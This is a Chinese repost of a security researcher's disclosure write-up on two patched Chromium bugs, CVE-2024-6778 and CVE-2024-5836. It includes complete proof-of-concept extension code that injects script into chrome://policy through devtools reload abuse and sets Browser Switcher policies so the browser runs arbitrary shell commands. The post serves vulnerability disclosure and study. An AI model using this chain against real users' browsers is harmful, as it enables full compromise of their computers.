通过 DevTools 逃离 Chrome 沙盒

admin 2024年10月19日21:44:26评论16 views字数 18739阅读62分27秒阅读模式

通过 DevTools 逃离 Chrome 沙盒

介绍

这篇博文详细介绍了我如何发现 CVE-2024-6778 和 CVE-2024-5836,这两个漏洞是 Chromium 网络浏览器中的漏洞,允许浏览器扩展程序逃逸沙盒(只需一点点用户交互)。最终,谷歌为我这个错误报告支付了 20,000 美元。

简而言之,这些漏洞允许恶意的 Chrome 扩展程序在您的 PC 上运行任何 shell 命令,然后可能用于安装更糟糕的恶意软件。攻击者不仅可以窃取您的密码并破坏您的浏览器,还可以控制您的整个操作系统。

WebUI 和 Chrome 沙盒

Chromium 运行的所有不受信任的代码都是沙盒化的,这意味着它在一个隔离的环境中运行,无法访问任何它不应该访问的内容。实际上,这意味着在 Chrome 扩展程序中运行的 JavaScript 代码只能与自身及其有权访问的 JavaScript API 交互。扩展程序可以访问哪些 API 取决于用户授予它的权限。然而,使用这些权限最坏的结果就是窃取某人的登录信息和浏览器历史记录。一切都应该保留在浏览器内。

此外,Chromium 还有一些网页用于显示其 GUI,使用一种称为WebUI 的机制。这些网页以 URL 协议为前缀chrome://,其中包括您可能使用过的chrome://settings和chrome://history。它们的目的是为 Chromium 的功能提供面向用户的 UI,同时使用 HTML、CSS 和 Javascript 等 Web 技术编写。因为它们需要显示和修改特定于浏览器内部的信息,所以它们被视为具有特权,这意味着它们可以访问其他地方未使用的私有 API。这些私有 API 允许在 WebUI 前端上运行的 Javascript 代码与浏览器本身的本机 C++ 代码进行通信。

防止攻击者访问 WebUI 非常重要,因为在 WebUI 页面上运行的代码可以完全绕过 Chromium 沙盒。例如,在 上chrome://downloads,单击文件下载.exe将运行可执行文件,因此如果此操作是通过恶意脚本执行的,则该脚本可以逃离沙盒。

在页面上运行不受信任的 JavaScriptchrome://是一种常见的攻击媒介,因此这些私有 API 的接收端会执行一些验证,以确保它们不会执行用户无法正常执行的任何操作。回到示例chrome://downloads,Chromium 通过要求从下载页面打开文件来防止这种情况,触发它的操作必须来自实际的用户输入,而不仅仅是 JavaScript。

当然,有时这些检查会出现 Chromium 开发人员没有考虑到的极端情况。

关于企业政策

我开始寻找这个漏洞是在研究 Chromium企业策略系统时。该系统旨在让管理员强制将某些设置应用于公司或学校拥有的设备。通常,这些策略与 Google 帐户绑定,并从 Google 自己的管理服务器下载。

通过 DevTools 逃离 Chrome 沙盒

企业策略还包括用户通常无法修改的内容。例如,您可以使用策略执行的操作之一是禁用恐龙复活节彩蛋游戏:

通过 DevTools 逃离 Chrome 沙盒

此外,策略本身分为两类:用户策略和设备策略。

设备政策用于管理整个 Chrome OS 设备的设置。它们可以简单到限制哪些帐户可以登录或设置发布渠道。其中一些甚至可以更改设备固件的行为(用于防止开发者模式或降级操作系统)。但是,由于此漏洞与 Chrome OS 无关,因此目前可以忽略设备政策。

用户政策适用于特定用户或浏览器实例。与设备政策不同,这些政策适用于所有平台,并且可以在本地设置,而不必依赖 Google 的服务器。例如,在 Linux 上,将 JSON 文件放入其中/etc/opt/chrome/policies将为设备上的所有 Google Chrome 实例设置用户政策。

使用此方法设置用户策略有些不方便,因为写入策略目录需要 root 权限。但是,如果有一种方法可以在不创建文件的情况下修改这些策略呢?

政策 WebUI

值得注意的是,Chromium 有一个用于查看应用于当前设备的策略的 WebUI,位于chrome://policy。它显示应用的策略列表、策略服务的日志以及将这些策略导出到 JSON 文件的功能。

通过 DevTools 逃离 Chrome 沙盒

这很好,但通常没有办法从此页面编辑策略。当然,除非有一个未记录的功能可以做到这一点。

滥用政策测试页面

当我研究这个主题时,我在Chrome v117 的Chrome Enterprise 发行说明中看到了以下条目:

Chrome 将推出 chrome://policy/test 页面

chrome://policy/test 将允许客户在 Beta、Dev、Canary 渠道上测试政策。如果有足够的客户需求,我们将考虑将此功能引入稳定渠道。

事实证明,这是 Chromium 文档中唯一提到此功能的地方。因此,由于没有其他地方可看,我检查了 Chromium 源代码以弄清楚它应该如何工作。

使用Chromium 代码搜索,我搜索了,chrome://policy/test结果找到了策略测试页面的WebUI 代码的 JS 部分。然后我注意到它用于设置测试策略的私有 API 调用:

export class PolicyTestBrowserProxy {
  applyTestPolicies(policies: string, profileSeparationResponse: string) {
    return sendWithPromise('setLocalTestPolicies', policies, profileSeparationResponse);
  }
  ...
}

还记得我说过这些 WebUI 页面可以访问私有 API 吗?好吧,sendWithPromise()就是其中之一。sendWithPromise()实际上只是 的包装器chrome.send(),它将请求发送到用 C++ 编写的处理程序函数。然后,处理程序函数可以在浏览器内部执行所需的任何操作,然后它可能会返回一个值,该值由 传递回 JS 端sendWithPromise()。

因此,一时兴起,我决定看看在 JS 控制台中调用它会产生什么效果。

//import cr.js since we need sendWithPromise
let cr = await import('chrome://resources/js/cr.js');
await cr.sendWithPromise("setLocalTestPolicies", "", "");

不幸的是,运行它只会让浏览器崩溃。有趣的是,崩溃日志中出现了以下一行:[17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() && policies->is_list(). List of policies expected

它似乎需要一个 JSON 字符串,其中包含一组策略作为第一个参数,这很合理。那么我们就提供一个吧。幸运的是,它policy_test_browser_proxy.ts告诉我它期望的格式,所以我不必做太多猜测。

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  {
    name: "AllowDinosaurEasterEgg",
    value: false,
    level: 1,
    source: 1,
    scope: 1
  }
]);
await cr.sendWithPromise("setLocalTestPolicies", policy, "");

那么运行这个之后...它就起作用了?我只是通过简单地运行一些 Javascript 来设置任意用户策略chrome://policy。显然这里出了问题,因为我从来没有明确启用过这个功能。

WebUI 验证失败

在某些情况下,当策略测试页面正确启用时,它应该是这样的。

通过 DevTools 逃离 Chrome 沙盒

要正确启用此页面,您必须设置PolicyTestPageEnabled策略(也未在任何地方记录)。如果该策略未设置,则chrome://policy/test只会重定向回chrome://policy。

通过 DevTools 逃离 Chrome 沙盒

那么,为什么我能够设置测试策略,尽管我已PolicyTestPageEnabled禁用该策略?为了调查这个问题,我再次查看了 Chromium 代码搜索,并在 C++ 端找到了该函数的WebUI 处理程序。setLocalTestPolicies

void PolicyUIHandler::HandleSetLocalTestPolicies(
    const base::Value::List& args) {
  std::string policies = args[1].GetString();

  policy::LocalTestPolicyProvider* local_test_provider =
      static_cast<policy::LocalTestPolicyProvider*>(
          g_browser_process->browser_policy_connector()
              ->local_test_policy_provider());

  CHECK(local_test_provider);

  Profile::FromWebUI(web_ui())
      ->GetProfilePolicyConnector()
      ->UseLocalTestPolicyProvider();

  local_test_provider->LoadJsonPolicies(policies);
  AllowJavascript();
  ResolveJavascriptCallback(args[0], true);
}

此函数执行的唯一验证是检查是否local_test_provider存在,否则会导致整个浏览器崩溃。local_test_provider但在什么情况下会存在?

然后,我找到了实际创建本地测试策略提供程序的代码。

std::unique_ptr<LocalTestPolicyProvider>
LocalTestPolicyProvider::CreateIfAllowed(version_info::Channel channel) {
  if (utils::IsPolicyTestingEnabled(/*pref_service=*/nullptr, channel)) {
    return base::WrapUnique(new LocalTestPolicyProvider());
  }

  return nullptr;
}

因此,此函数实际上会执行检查以查看测试策略是否被允许。如果不允许,则返回 null,并且尝试设置测试策略(如我之前所示)将导致崩溃。

可能IsPolicyTestingEnabled()是行为不当?该函数如下所示:

bool IsPolicyTestingEnabled(PrefService* pref_service,
                            version_info::Channel channel) {
  if (pref_service &&
      !pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {
    return false;
  }

  if (channel == version_info::Channel::CANARY ||
      channel == version_info::Channel::DEFAULT) {
    return true;
  }

  return false;
}

此函数首先检查是否kPolicyTestPageEnabled为真,即在正常情况下应启用策略测试页的策略。但是,您可能会注意到,在IsPolicyTestingEnabled()调用时,第一个参数pref_service设置为空。这会导致检查被完全忽略。

现在,剩下的唯一检查就是channel。在此上下文中,“渠道”是指浏览器的发布渠道,例如稳定版、测试版、开发版或金丝雀版。因此,在这种情况下,只允许Channel::CANARY和Channel::DEFAULT。这一定意味着我的浏览器设置为Channel::CANARY或Channel::DEFAULT。

那么浏览器是否知道它处于哪个频道?以下是确定这一点的函数:

// Returns the channel state for the browser based on branding and the
// CHROME_VERSION_EXTRA environment variable. In unbranded (Chromium) builds,
// this function unconditionally returns `channel` = UNKNOWN and
// `is_extended_stable` = false. In branded (Google Chrome) builds, this
// function returns `channel` = UNKNOWN and `is_extended_stable` = false for any
// unexpected $CHROME_VERSION_EXTRA value.
ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
  const char* const env = getenv("CHROME_VERSION_EXTRA");
  const std::string_view env_str =
      env ? std::string_view(env) : std::string_view();

  // Ordered by decreasing expected population size.
  if (env_str == "stable")
    return {version_info::Channel::STABLE, /*is_extended_stable=*/false};
  if (env_str == "extended")
    return {version_info::Channel::STABLE, /*is_extended_stable=*/true};
  if (env_str == "beta")
    return {version_info::Channel::BETA, /*is_extended_stable=*/false};
  if (env_str == "unstable") // linux version of "dev"
    return {version_info::Channel::DEV, /*is_extended_stable=*/false};
  if (env_str == "canary") {
    return {version_info::Channel::CANARY, /*is_extended_stable=*/false};
  }
#endif // BUILDFLAG(GOOGLE_CHROME_BRANDING)

  return {version_info::Channel::UNKNOWN, /*is_extended_stable=*/false};
}

如果您不知道 C 预处理器的工作原理,则该#if BUILDFLAG(GOOGLE_CHROME_BRANDING)部分意味着仅当为真时才会编译所附代码BUILDFLAG(GOOGLE_CHROME_BRANDING)。否则该部分代码不存在。考虑到我使用的是普通的 Chromium 而不是品牌的 Google Chrome,渠道将始终是Channel::UNKNOWN。这也意味着,不幸的是,由于发布渠道在那里设置为正确的值,该错误将无法在 Google Chrome 的稳定版本上运行。

enum class Channel {
  UNKNOWN = 0,
  DEFAULT = UNKNOWN,
  CANARY = 1,
  DEV = 2,
  BETA = 3,
  STABLE = 4,
};

查看渠道的枚举定义,我们可以看到Channel::UNKNOWN实际上与相同Channel::DEFAULT。因此,在 Chromium 及其衍生产品上,发布渠道检查IsPolicyTestingEnabled()始终通过,并且该函数将始终返回 true。

通过浏览器切换器逃离沙盒

那么,有了设置任意用户策略的能力,我实际上能做什么呢?为了回答这个问题,我查看了Chrome 企业策略列表。

企业策略中的一项功能是旧版浏览器支持模块,也称为浏览器切换器。它旨在通过在用户访问 Chromium 中的某些 URL 时启动替代浏览器来适应 Internet Explorer 用户。此功能的行为均可通过策略控制。

该AlternativeBrowserPath政策尤为突出。结合使用AlternativeBrowserParameters,这允许 Chromium 以“备用浏览器”身份启动任何 shell 命令。但是,请记住,这仅适用于 Linux、MacOS 和 Windows,因为否则浏览器切换器政策不存在。

我们可以设置以下策略来让 Chromium 启动计算器,例如:

name: "BrowserSwitcherEnabled"
value: true

name: "BrowserSwitcherUrlList"
value: ["example.com"]

name: "AlternativeBrowserPath"
value: "/bin/bash"

name: "AlternativeBrowserParameters"
value: ["-c", "xcalc # ${url}"]

每当浏览器尝试导航到 时example.com,浏览器切换器就会启动并启动/bin/bash。["-c", "xcalc # https://example.com"]get 作为参数传入。-c告诉 bash 运行下一个参数中指定的命令。您可能已经注意到页面 URL 被替换为${url},因此为了防止弄乱命令,我们可以简单地将其放在 后面,#使其成为注释。这样,我们就可以诱使 Chromium 运行/bin/bash -c 'xcalc # https://example.com'。

从chrome://policy页面使用这个相当简单。我可以使用上述方法设置这些策略,然后调用window.open("https://example.com")以触发浏览器切换器。

let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { //enable the browser switcher feature
    name: "BrowserSwitcherEnabled",
    value: true,
    level: 1,
    source: 1,
    scope: 1
  },
  { //set the browser switcher to trigger on example.com
    name: "BrowserSwitcherUrlList",
    value: ["example.com"],
    level: 1,
    source: 1,
    scope: 1
  },
  { //set the executable path to launch
    name: "AlternativeBrowserPath",
    value: "/bin/bash",
    level: 1,
    source: 1,
    scope: 1
  },
  { //set the arguments for the executable
    name: "AlternativeBrowserParameters",
    value: ["-c", "xcalc # https://example.com"],
    level: 1,
    source: 1,
    scope: 1
  }
]);

//set the policies listed above
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
//navigate to example.com, which will trigger the browser switcher
window.open("https://example.com")

这就是沙盒逃逸。我们已成功通过在 上运行的 Javascript 运行任意 shell 命令chrome://policy。

破坏 Devtools API

您可能已经注意到,到目前为止,此攻击需要受害者在浏览器控制台上将恶意代码粘贴到浏览器中chrome://policy。实际上说服某人这样做相当困难,这使得该漏洞毫无用处。所以现在,我的新目标是以某种方式自动运行此 JS chrome://policy。

最有可能的方法是创建恶意的 Chrome 扩展程序。Chrome 扩展程序 API 的攻击面相当大,扩展程序本身就能够将 JS 注入页面。但是,正如我之前提到的,扩展程序不允许在特权 WebUI 页面上运行 JS,所以我需要找到一种绕过它的方法。

扩展程序在页面上执行 JS 的主要方式有 4 种:

  • chrome.scripting,直接在特定标签页中执行JS。

  • chrome.tabs在 Manifest v2 中,其工作原理与以下内容类似chrome.scripting。

  • chrome.debugger它利用远程调试协议。

  • chrome.devtools.inspectedWindow,当 devtools 打开时,它会与检查的页面进行交互。

在调查这个问题时,我决定研究一下chrome.devtools.inspectedWindow,因为我觉得它是最模糊的,因此最不牢固的。这个假设被证明是正确的。

API 的工作方式chrome.devtools是,所有使用 API 的扩展程序都必须在其清单中包含该devtools_page字段。例如:

{
  "name": "example extension",
  "version": "1.0",
  "devtools_page": "devtools.html",
  ...
}

本质上,它的作用是指定每当用户打开 devtools 时,devtools 页面devtools.html都会作为 iframe 加载。在该 iframe 中,扩展程序可以使用所有chrome.devtoolsAPI。您可以参考API 文档了解具体信息。

在研究chrome.devtools.inspectedWindowAPI 时,我注意到David Erceg 之前提交的一份错误报告,其中涉及 的一个错误chrome.devtools.inspectedWindow.eval()。他通过在普通页面上打开 devtools,然后运行一个导致页面崩溃的脚本,成功在 WebUI 上执行代码chrome.devtools.inspectedWindow.eval()。然后,这个崩溃的选项卡可以导航到 WebUI 页面,在该页面中重新运行 eval 请求,从而在那里获得代码执行。

值得注意的是,这些chrome.devtoolsAPI 应该通过在检查的页面导航到 WebUI 后禁用它们的使用来防止这种特权执行。正如 David Erceg 在他的错误报告中所展示的那样,绕过此问题的关键是在 Chrome 决定禁用 devtools API 之前发送 eval 请求,并确保请求到达 WebUI 页面。

读完那篇报告后,我想知道是否有类似的东西可以实现chrome.devtools.inspectedWindow.reload()。此函数也能够在检查的页面上运行 JS,只要injectedScript将传入即可。

inspectedWindow.reload()当我尝试调用时,发现检查的页面about:blank属于 WebUI,这是它可被利用的第一个迹象。about:blank在这方面,页面是独一无二的,因为即使 URL 并不特殊,它们也会从打开它们的页面继承权限和来源。由于about:blank从 WebUI 打开的页面是特权页面,因此您可以预料到尝试评估该页面上的 JS 会被阻止。

通过 DevTools 逃离 Chrome 沙盒

令人惊讶的是,这确实有效。请注意,警报的标题中包含页面的来源,即chrome://settings,因此该页面实际上是有特权的。但是等等,devtools API 不是应该通过完全禁用 API 来防止这种情况吗?好吧,它没有考虑about:blank页面的极端情况。以下是处理禁用 API 的代码:

private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent<SDK.Target.Target>): void {
  if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {
    this.disableExtensions();
    return;
  }
  ...
}

重要的是,这里只考虑 URL,而不考虑页面来源。正如我之前所演示的,这可能是两个截然不同的东西。即使 URL 是良性的,来源也可能不是。

滥用about:blank是好事,但在构建漏洞利用链的背景下,它并不是很有用。我想要执行代码的页面,chrome://policy从未打开任何about:blank弹出窗口,所以这已经是死路一条了。然而,我注意到,尽管inspectedWindow.eval()失败了,但inspectedWindow.reload()仍然成功运行并在上执行了 JS chrome://settings。这表明inspectedWindow.eval()有自己的检查来查看检查页面的来源是否被允许,而inspectedWindow.reload()没有自己的检查。

然后我想知道我是否可以发送垃圾inspectedWindow.reload()邮件,这样如果至少有一个请求登陆 WebUI 页面,我就可以执行代码。

function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    //check the origin, this script won't do anything on a non chrome page
    if (!origin.startsWith("chrome://")) return;
    alert("hello from chrome.devtools.inspectedWindow.reload");
    `
  });
}

setInterval(() => {
  for (let i=0; i<5; i++) {
    inject_script();
  }
}, 0);

chrome.tabs.update(chrome.devtools.inspectedWindow.tabId, {url: "chrome://policy"});

通过 DevTools 逃离 Chrome 沙盒

这就是漏洞链的最后一部分。此竞争条件依赖于检查页面和 devtools 页面是不同进程的事实。当在检查页面中导航到 WebUI 时,在 devtools 页面实现并禁用 API 之前有一小段时间。如果inspectedWindow.reload()在此时间间隔内调用,则重新加载请求将最终出现在 WebUI 页面上。

综合起来

现在我已经完成了漏洞利用的所有步骤,我开始整理概念验证代码。总结一下,这个 POC 必须做到以下几点:

  1. 使用竞争条件chrome.devtools.inspectedWindow.reload()执行 JS 有效负载chrome://policy

  2. 该有效载荷调用sendWithPromise("setLocalTestPolicies", policy)来设置自定义用户策略。

  3. 设置BrowserSwitcherEnabled、BrowserSwitcherUrlList、AlternativeBrowserPath和AlternativeBrowserParameters,指定/bin/bash为“备用浏览器”。

  4. 浏览器切换器由一个简单的调用触发window.open(),该调用执行一个 shell 命令。

最终的概念验证漏洞如下所示:

let executable, flags;
if (navigator.userAgent.includes("Windows NT")) {
  executable = "C:\Windows\System32\cmd.exe";
  flags = ["/C", "calc.exe & rem ${url}"];
}
else if (navigator.userAgent.includes("Linux")) {
  executable = "/bin/bash";
  flags = ["-c", "xcalc # ${url}"];
}
else if (navigator.userAgent.includes("Mac OS")) {
  executable = "/bin/bash";
  flags = ["-c", "open -na Calculator # ${url}"];
}

//function which injects the content script into the inspected page
function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    (async () => {
      //check the origin, this script won't do anything on a non chrome page
      console.log(origin);
      if (!origin.startsWith("chrome://")) return;

      //import cr.js since we need sendWithPromise
      let cr = await import('chrome://resources/js/cr.js');

      //here are the policies we are going to set
      let policy = JSON.stringify([
        { //enable the browser switcher feature
          name: "BrowserSwitcherEnabled",
          value: true,
          level: 1,
          source: 1,
          scope: 1
        },
        { //set the browser switcher to trigger on example.com
          name: "BrowserSwitcherUrlList",
          value: ["example.com"],
          level: 1,
          source: 1,
          scope: 1
        },
        { //set the executable path to launch
          name: "AlternativeBrowserPath",
          value: ${JSON.stringify(executable)},
          level: 1,
          source: 1,
          scope: 1
        },
        { //set the arguments for the executable
          name: "AlternativeBrowserParameters",
          value: ${JSON.stringify(flags)},
          level: 1,
          source: 1,
          scope: 1
        }
      ]);

      //set the policies listed above
      await cr.sendWithPromise("setLocalTestPolicies", policy, "");

      setTimeout(() => {
        //navigate to example.com, which will trigger the browser switcher
        location.href = "https://example.com";

        //open a new page so that there is still a tab remaining after this
        open("about:blank");
      }, 100);
    })()`
  });
}

//interval to keep trying to inject the content script
//there's a tiny window of time in which the content script will be
//injected into a protected page, so this needs to run frequently
function start_interval() {
  setInterval(() => {
    //loop to increase our odds
    for (let i=0; i<3; i++) {
      inject_script();
    }
  }, 0);
}

async function main() {
  //start the interval to inject the content script
  start_interval();

  //navigate the inspected page to chrome://policy
  let tab = await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId);
  await chrome.tabs.update(tab.id, {url: "chrome://policy"});

  //if this times out we need to retry or abort
  await new Promise((resolve) => {setTimeout(resolve, 1000)});
  let new_tab = await chrome.tabs.get(tab.id);

  //if we're on the policy page, the content script didn't get injected
  if (new_tab.url.startsWith("chrome://policy")) {
    //navigate back to the original page
    await chrome.tabs.update(tab.id, {url: tab.url});

    //discarding and reloading the tab will close devtools
    setTimeout(() => {
      chrome.tabs.discard(tab.id);
    }, 100)
  }

  //we're still on the original page, so reload the extension frame to retry
  else {
    location.reload();
  }
}

main();

就这样,我就可以开始编写错误报告了。我完成了脚本,编写了错误说明,在多个操作系统上进行了测试,然后将其发送给了 Google。

然而,此时仍有一个明显的问题:竞争条件.inspectedWindow.reload()不太可靠。我设法对其进行了调整,使其在 70% 的时间内有效,但这仍然不够。尽管它无论如何都能发挥作用,这无疑使其成为一个严重的漏洞,但不可靠性会大大降低其严重性。因此,我开始努力寻找更好的方法。

熟悉的方法

还记得我在 David Erceg 的错误报告中提到过,他利用了选项卡崩溃后调试器请求仍然存在的事实吗?我想知道这种方法是否inspectedWindow.reload()也有效,所以我测试了它。我还弄乱了debugger语句,结果发现连续两次触发调试器会导致选项卡崩溃。

因此我开始编写一个新的 POC:

let tab_id = chrome.devtools.inspectedWindow.tabId;

//function which injects the content script into the inspected page
function inject_script() {
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
    //check the origin, so that the debugger is triggered instead if we are not on a chrome page
    if (!origin.startsWith("chrome://")) {
      debugger;
      return;
    }

    alert("hello from chrome.devtools.inspectedWindow.reload");`
  });
}

function sleep(ms) {
  return new Promise((resolve) => {setTimeout(resolve, ms)})
}

async function main() {
  //we have to reset the tab's origin here so that we don't crash our own extension process
  //this navigates to example.org which changes the tab's origin
  await chrome.tabs.update(tab_id, {url: "https://example.org/"});
  await sleep(500);
  //navigate to about:blank from within the example.org page which keeps the same origin
  chrome.devtools.inspectedWindow.reload({"injectedScript": `
      location.href = "about:blank";
    `
  })
  await sleep(500);

  inject_script(); //pause the current tab
  inject_script(); //calling this again crashes the tab and queues up our javascript
  await sleep(500);
  chrome.tabs.update(tab_id, {url: "chrome://settings"});
}
main();

并且它确实有效!这种方法的优点在于它消除了竞争条件的需要,并使漏洞利用 100% 可靠。然后,我将新的 POC 以及所有内容上传chrome://policy到错误报告线程的评论中。

但是为什么这个疏忽仍然存在,即使它早在 4 年前就应该被修补了?我们可以通过查看以前的错误是如何修补的来找出原因。谷歌的修复方法是在选项卡崩溃后清除所有待处理的调试器请求,这似乎是一种明智的方法:

void DevToolsSession::ClearPendingMessages(bool did_crash) {
  for (auto it = pending_messages_.begin(); it != pending_messages_.end();) {
    const PendingMessage& message = *it;
    if (SpanEquals(crdtp::SpanFrom("Page.reload"),
                   crdtp::SpanFrom(message.method))) {
      ++it;
      continue;
    }
    // Send error to the client and remove the message from pending.
    std::string error_message =
        did_crash ? kTargetCrashedMessage : kTargetClosedMessage;
    SendProtocolResponse(
        message.call_id,
        crdtp::CreateErrorResponse(
            message.call_id,
            crdtp::DispatchResponse::ServerError(error_message)));
    waiting_for_response_.erase(message.call_id);
    it = pending_messages_.erase(it);
  }
}

您可能会注意到,它似乎包含Page.reload请求的例外,因此它们不会被清除。在内部,inspectedWindow.reload()API 会发送Page.reload请求,因此 API 调用不受此补丁的影响inspectedWindow.reload()。Google 确实修补了这个错误,然后为其添加了一个例外,这使得该错误再次出现。我猜他们没有意识到也Page.reload可以运行脚本。

另一个谜团是为什么当该语句运行两次时页面会崩溃debugger。我仍然不完全确定这一点,但我想我把它缩小到 Chromium 渲染器代码中的一个函数。它具体发生在 Chromium检查导航状态时,当它遇到意外状态时,它就会崩溃。当调用RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318时,此状态会变得混乱(这是特殊处理的另一个副作用about:blank)。当然,任何类型的崩溃都会起作用,例如[...new Array(2**31)],这会导致选项卡内存耗尽。但是,debugger崩溃触发速度要快得多,所以我在最终的 POC 中使用了它。

无论如何,这个漏洞的具体实现如下:

顺便说一句,你可能注意到了显示的“扩展安装错误”屏幕。这只是为了诱骗用户打开 devtools,从而触发导致沙盒逃逸的链条。

谷歌的回应

在我报告漏洞后,Google 很快确认了漏洞,并将其归类为 P1/S1,这意味着高优先级和高严重性。在接下来的几周内,我们实施了以下修复:-向命令添加loaderIdPage.reload参数并检查loaderID渲染器端 - 这可确保命令仅对单一来源有效,如果命令无意中到达特权页面,则命令将不起作用。-检查函数中的 URLinspectedWindow.reload() - 现在,此函数不依赖于仅撤销访问的扩展 API。-检查 WebUI 处理程序中是否启用了测试策略- 通过在处理程序函数中添加工作检查,可以完全防止设置测试策略。

最终,涉及竞争条件的漏洞被编号为CVE-2024-5836,CVSS 严重性评分为 8.8(高)。涉及导致检查页面崩溃的漏洞被编号为CVE-2024-6778,严重性评分也是 8.8。

修复所有问题并合并到各个发布分支后,VRP 小组会审查错误报告并确定奖励。我因发现此漏洞而获得了 20,000 美元的奖励!

通过 DevTools 逃离 Chrome 沙盒

通过 DevTools 逃离 Chrome 沙盒

时间线

4 月 16 日 - 我发现了测试策略错误

4 月 29 日——我发现了inspectedWindow.reload()与竞争条件相关的错误

5 月 1 日——我向 Google 发送了错误报告

5 月 4 日 - Google 将其归类为 P1/S1

5 月 5 日 - 我发现了导致检查页面崩溃的错误,并更新了我的报告

5 月 6 日 - Google 要求我针对该链的每个部分分别提交错误报告

7 月 8 日 - 错误报告被标记为已修复

7 月 13 日 - 报告将发送到 Chrome VRP 面板以确定奖励

7 月 17 日——VRP 小组决定奖励金额为 20,000 美元

10 月 15 日——整个错误报告公开

结论

我想,从所有这些中得出的主要结论是,如果你在正确的地方寻找,最简单的错误也可以相互叠加,从而导致严重程度惊人的漏洞。考虑到这个漏洞inspectedWindow.reload实际上早在 Chrome v45 中就起作用,你也不能相信非常老的代码在多年后仍然安全。此外,向所有人提供完全没有记录、不完整和不安全的功能并不是一个好主意,就像政策测试页漏洞的情况一样。最后,在修复漏洞时,你应该检查是否可能存在类似的错误,并尝试修复它们。

您可以在这里找到原始错误报告:crbug.com/40053357-https://issues.chromium.org/issues/40053357

我还将漏洞每个部分的 POC 放在了Github repo中:https://github.com/ading2210/CVE-2024-6778-POC

原文始发于微信公众号(Ots安全):通过 DevTools 逃离 Chrome 沙盒

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月19日21:44:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过 DevTools 逃离 Chrome 沙盒https://cn-sec.com/archives/3290259.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息